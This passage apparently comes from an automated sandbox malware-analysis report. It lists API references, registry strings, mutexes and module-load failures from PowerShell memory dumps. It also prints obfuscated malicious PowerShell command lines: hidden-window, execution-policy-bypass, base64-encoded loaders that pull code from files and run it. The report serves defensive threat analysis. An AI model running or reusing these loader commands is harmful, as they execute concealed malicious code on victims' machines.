Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp, 00000000-00002684.00000001.136956.49D70000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp, 00000000-00002684.00000001.136956.49D70000.00000004.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp, 00000000-00002684.00000001.136956.49D70000.00000004.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp, 00000000-00002684.00000001.136956.49D70000.00000004.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API (Indicator: "CryptEncrypt"; Source: "00000000-00002684.00000000.136665.47860000.00000004.mdmp, 00000000-00002684.00000001.136956.6383C000.00000004.mdmp") Found reference to API (Indicator: "CryptImportKey"; Source: "00000000-00002684.00000000.136665.61DC0000.00000004.mdmp") Found reference to API (Indicator: "CryptDecrypt"; Source: "00000000-00002684.00000000.136665.61DC0000.00000004.mdmp")44:T418,Found reference to API "FindResourceExW" (Indicator: "FindResource"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API "FindResourceW" (Indicator: "FindResource"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp")45:Td03,"E\Software\M" in Source: 00000000-00002148.00000000.136313.38990000.00000004.mdmp 00000000-00002148.00000001.136340.38990000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}0" in Source: 00000000-00002148.00000000.136313.38990000.00000004.mdmp 00000000-00002148.00000001.136340.38990000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00002148.00000000.136313.38990000.00000004.mdmp 00000000-00002148.00000001.136340.38990000.00000004.mdmp "y\Machine\Software\Classes\AppID" in Source: 00000000-00002148.00000000.136313.38990000.00000004.mdmp 00000000-00002148.00000001.136340.38990000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00002148.00000000.136313.52E30000.00000004.mdmp 00000000-00002148.00000001.136340.52E30000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00002148.00000000.136313.52E30000.00000004.mdmp 00000000-00002148.00000001.136340.52E30000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00002148.00000000.136313.54850000.00000004.mdmp 00000000-00002148.00000001.136340.54885000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00002148.00000000.136313.DC44A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00002148.00000000.136313.DC44A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00002148.00000000.136313.DC44A000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00002148.00000000.136313.DC44A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00002148.00000000.136313.DC44A000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00002148.00000000.136313.DC44A000.00000002.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00002684.00000000.136665.47860000.00000004.mdmp 00000000-00002684.00000001.136956.47860000.00000004.mdmp "ogramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;%NV\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4991D34B-80A1-4291-83B" in Source: 00000000-00002684.00000000.136665.47860000.00000004.mdmp 00000000-00002684.00000001.136956.47890000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0b" in Source: 00000000-00002684.00000000.136665.47860000.00000004.mdmp 00000000-00002684.00000001.136956.47890000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00002684.00000000.136665.47860000.00000004.mdmp 00000000-00002684.00000001.136956.47890000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00002684.00000000.136665.61DC0000.00000004.mdmp 00000000-00002684.00000001.136956.61DC0000.00000004.mdmp46:T8ba,Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:6840:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:6840:120:WilError_01" Process powershell.exe created mutex with name "\BaseNamedObjects\SyncRootManager" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:6840:120:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process powershell.exe created mutex with name "SM0:6840:304:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:6840:304:WilStaging_02" Process powershell.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process powershell.exe created mutex with name "SM0:6840:120:WilError_01" Process powershell.exe created mutex with name "Local\SM0:6840:120:WilError_01" Process powershell.exe created mutex with name "Local\ZonesCacheCounterMutex" Process powershell.exe created mutex with name "\BaseNamedObjects\CLR_PerfMon_WrapMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:6840:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:3236:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:3236:120:WilError_01" Process powershell.exe created mutex with name "Local\SM0:3236:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:3236:120:WilError_01" Process powershell.exe created mutex with name "SM0:3236:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:3236:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:2148:304:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:2148:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:2148:120:WilError_01" Process powershell.exe created mutex with name "SM0:2148:304:WilStaging_02"47:T64e,Process "powershell.exe" with commandline "powershell -W hIDDEn -NoNI -noP -EP BYPaSS -e "JABxAD0AWwBjAGgAYQByAF0AMwA0ADsAJABhAD0AJwAvAGMAIAAnACsAJABxACsAJABlAG4AdgA6AF8AUgBnAFcAcwBCAHMAKwAkAHEAKwAnACAAOABjAGUAMABlADAAMwA2ADIAZQAnADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJABlAG4AdgA6AEMAbwBtAFMAcABlAGMAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJABhACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAEUATgA="" (UID: 00000000-00006840) Process "powershell.exe" with commandline "powershell -W hIDDEn -NoNI -noP -EP BYPaSS -e "JABzAD0AWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAVABlAHgAdAAoACQAZQBuAHYAOgBfAFIAZwBXAHMAQgBzACkAOwAkAG0AawA9ACQAZQBuAHYAOgBfAEsAOABSAEUAOwAkAGEAPQAkAG0AawAuAFMAdQBiAHMAdAByAGkAbgBnACgAMAAsADEAMAApADsAJABpAD0AJABzAC4ASQBuAGQAZQB4AE8AZgAoACQAYQApADsAaQBmACgAJABpACAALQBsAHQAIAAwACkAewBlAHgAaQB0AH0AOwAkAGMAPQAkAHMALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAaQArADEAMAApADsAJABiAD0AJABtAGsALgBTAHUAYgBzAHQAcgBpAG4AZwAoADEAMAApADsAJABqAD0AJABjAC4ASQBuAGQAZQB4AE8AZgAoACQAYgApADsAaQBmACgAJABqACAALQBsAHQAIAAwACkAewBlAHgAaQB0AH0AOwBpAGUAeAAoACQAYwAuAFMAdQBiAHMAdAByAGkAbgBnACgAMAAsACQAagApACkA"" (UID: 00000000-00003236) Process "powershell.exe" with commandline "-w 1 -nop -ep bypass -c "$f=('Sys'+'tem.IO'+'.Fi'+'le')-as[type];$e=$env:_scriptOrigin;if($f::Exists($e)){$s=$f::ReadAllText($e);$p='::C'+'odeNot'+'ion::';$m=$s.IndexOf($p);if($m -ge 0){$f::WriteAllText($env:_EphemeralScript,$s.Substring($m+(0x1C -shr 1)))}}"" (UID: 00000000-00002148) Process "powershell.exe" with commandline "-w 1 -nop -ep bypass -f "%PUBLIC%\\28750q24813.ps1"" (UID: 00000000-00002684)48:T1183,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-libraryloader-l1-2-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.Unmanaged.DLL" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-processthreads-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-handle-l1-1-0.dll" - [base:0; Status:c0000135]49:T43dd,"E\Software\M" in Source: 00000000-00002148.00000000.136313.38990000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}0" in Source: 00000000-00002148.00000000.136313.38990000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00002148.00000000.136313.38990000.00000004.mdmp "y\Machine\Software\Classes\AppID" in Source: 00000000-00002148.00000000.136313.38990000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00002148.00000000.136313.52E30000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00002148.00000000.136313.52E30000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00002148.00000000.136313.54850000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00002148.00000000.136313.DC44A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00002148.00000000.136313.DC44A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00002148.00000000.136313.DC44A000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00002148.00000000.136313.DC44A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00002148.00000000.136313.DC44A000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00002148.00000000.136313.DC44A000.00000002.mdmp "E\Software\M" in Source: 